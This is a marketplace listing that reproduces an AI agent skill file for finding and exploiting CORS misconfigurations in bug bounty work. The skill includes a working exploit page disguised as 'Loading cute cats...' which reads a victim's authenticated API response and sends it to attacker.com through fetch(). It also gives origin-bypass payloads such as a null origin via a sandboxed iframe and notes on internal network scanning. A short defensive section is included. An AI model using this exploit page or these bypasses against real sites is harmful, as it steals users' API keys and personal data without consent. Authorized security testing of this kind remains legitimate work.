agentsclimarketplace

Cors misconfiguration exploitation

Skill ShulkwiSEC/bb-huge/skills/curated/cors-misconfiguration-exploitation

Identify and exploit Cross-Origin Resource Sharing (CORS) misconfigurations. Use this skill when auditing APIs or web applications that share sensitive data across domains, forcing victims' browsers to inadvertently leak private information (e.g., API keys, PII, CSRF tokens) to an attacker-controlled website.From its SKILL.md

Install
npx -y skills add ShulkwiSEC/bb-huge --skill cors-misconfiguration-exploitation

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its file declares

Copied from the file, not written here

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

9.4 KB, ~2.1k tokens by cl100k_base, as published. Nobody here has run it

CORS Misconfiguration Exploitation

When to Use

  • When auditing REST APIs (/api/v1/user/details) that return highly sensitive user data.
  • When an application interacts heavily with external Subdomains (e.g., app.target.com talking to api.target.com).
  • When looking for a way to exfiltrate data from an authenticated session without possessing an XSS vulnerability on the target.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying Permissive CORS Headers

# Concept: The Same-Origin Policy (SOP) prevents Website A from reading data from Website B.
# CORS is a mechanism to bypass SOP safely. If misconfigured, an attacker's website can read 
# the victim's data from the vulnerable server.

# 1. Intercept a request to a sensitive endpoint (e.g., user profile data).
GET /api/private/details HTTP/1.1
Host: api.target.com
Origin: https://evil.com       # Inject an attacker-controlled origin

# 2. Analyze the Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

{"email": "[email protected]", "apiKey": "sk_live_xyz..."}

# Assessment: CRITICAL vulnerability. Because `Allow-Origin` dynamically reflected our evil origin, 
# AND `Allow-Credentials` is true, a script on evil.com can extract this user's API key.

Phase 2: Exploiting the Flaw (Building the HTML Payload)

<!-- Concept: We must host a malicious website that forces the victim's browser to make the GET request -->
<!-- and extract the API response. -->

<!-- 1. Create exploit.html on attacker.com -->
<html>
    <body>
        <h2>Loading cute cats...</h2>
        <script>
            // Initialize the cross-origin request
            var req = new XMLHttpRequest();
            req.onload = function() {
                // When the vulnerable API responds, exfiltrate the text out to our log server
                fetch('https://attacker.com/log?data=' + btoa(this.responseText));
            };
            // Target the vulnerable endpoint
            req.open('GET', 'https://api.target.com/api/private/details', true);
            
            // Critical: Force the browser to attach the victim's session cookies
            req.withCredentials = true;
            req.send();
        </script>
    </body>
</html>

Phase 3: Bypassing Developer CORS Filters

# Concept: Developers often attempt to implement whitelists, but use faulty Regex or string matching.

# 1. Prefix/Suffix bypasses
# Developer intended to whitelist `https://target.com`.
Origin: https://target.com.attacker.com     # Attacker creates a subdomain matching the prefix
Origin: https://attackertarget.com          # Origin matches the suffix

# 2. Null Origin Bypass
# Developer miscalculates local execution environments.
Origin: null
# Result: Access-Control-Allow-Origin: null
# Exploit: To exploit this, load the exploit through an iframe sandbox to force a "null" origin.
# <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,...">

# 3. HTTP to HTTPS downgrade
# A secure site (HTTPS) trusting its insecure counterpart (HTTP).
Origin: http://target.com
# Exploit: If the attacker sits on the same local network as the victim (e.g., coffee shop), 
# they can intercept the HTTP origin and inject the CORS payload.

Phase 4: Exploiting CORS for Internal Network Scanning

# Concept: An application might permit CORS for "ANY" internal IP range, allowing pivoting.
Origin: http://192.168.1.5

# If the server reflects this origin, you can use the victim's browser to initiate 
# internal network port scans that return the data directly back to you via JavaScript.

Decision Point 🔀

flowchart TD
    A[Inject `Origin: https://evil.com`] --> B{Does response echo evil.com?}
    B -->|Yes| C{Is Allow-Credentials: true?}
    B -->|No| D[Test regex bypasses `target.com.evil.com` or `null`]
    C -->|Yes| E[High Severity: Host exploit.html & steal PII/Tokens]
    C -->|No| F[Low Severity: Can only read public data without victim cookies]
    D -->|Bypass Successful| C

🔵 Blue Team Detection & Defense

  • Explicit Whitelists: Do not dynamically reflect the incoming Origin header into the Access-Control-Allow-Origin response header. Maintain a hardcoded, absolute array of trusted domains and perform exact string matching.
  • Null Safety: Never configuring the server to trust the null origin, as malicious sandboxed iframes can easily impersonate it.
  • Deny Wildcards with Credentials: The HTTP specification explicitly forbids Access-Control-Allow-Origin: * while Access-Control-Allow-Credentials: true is active, but developers often mistakenly script custom logic to bypass this protection by echoing the wildcard.

Key Concepts

ConceptDescription
SOPSame-Origin Policy; browser security feature ensuring scripts on domain A cannot read data stored on domain B
CORSProtocol allowing domains to selectively relax the SOP to share APIs and data
ACAOAccess-Control-Allow-Origin; the HTTP response header specifying which domains are permitted to read the response
ACACAccess-Control-Allow-Credentials; determines if the browser should expose the response when the request was made using the victim's cookies

Output Format

Bug Bounty Report: API Key Exfiltration via CORS Misconfiguration
=================================================================
Vulnerability: Cross-Origin Resource Sharing Misconfiguration
Severity: High (CVSS 7.5)
Target: GET /api/v1/user/keys

Description:
The target API utilizes an insecure CORS configuration that dynamically reflects arbitrary origins supplied by the requester alongside the `Access-Control-Allow-Credentials: true` directive. By hosting a malicious HTML page, an attacker can leverage the victim's active session to retrieve their account's sensitive data across domains.

Reproduction Steps:
1. The victim establishes an authenticated session on `target.com`.
2. The attacker tricks the victim into visiting `http://attacker-site.com/exploit.html`.
3. The embedded JavaScript automatically executes a cross-origin `XMLHttpRequest` to `https://api.target.com/api/v1/user/keys`, attaching the victim's session cookies.
4. Due to the CORS misconfiguration, the victim's browser permits the attacker's script to read the API response JSON containing the plaintext API Key.
5. The script seamlessly exfiltrates this data to the attacker's server.

Impact:
Critical data exposure allowing persistent Account Takeover via API Key theft.

💰 Industry Bounty Payout Statistics (2024-2025)

Company/PlatformTotal PaidHighest SingleYear
Google VRP$17.1M$250,000 (CVE-2025-4609 Chrome sandbox escape)2025
Microsoft$16.6M(Not disclosed)2024
Google VRP$11.8M$100,115 (Chrome MiraclePtr Bypass)2024
HackerOne (all programs)$81M$100,050 (crypto firm)2025
Meta/Facebook$2.3Mup to $300K (mobile code execution)2024
Crypto.com (HackerOne)$2M program$2M max2024
1Password (Bugcrowd)$1M max$1M (highest Bugcrowd ever)2024
Samsung$1M max$1M (critical mobile flaws)2025

Key Takeaway: Google alone paid $17.1M in 2025 — a 40% increase YoY. Microsoft paid $16.6M. The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

What ships with it: 2 files

8.4 KB alongside SKILL.md, 1 of them executable

evals/

scripts/

Keep looking

Skills are one crate of 325,949. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.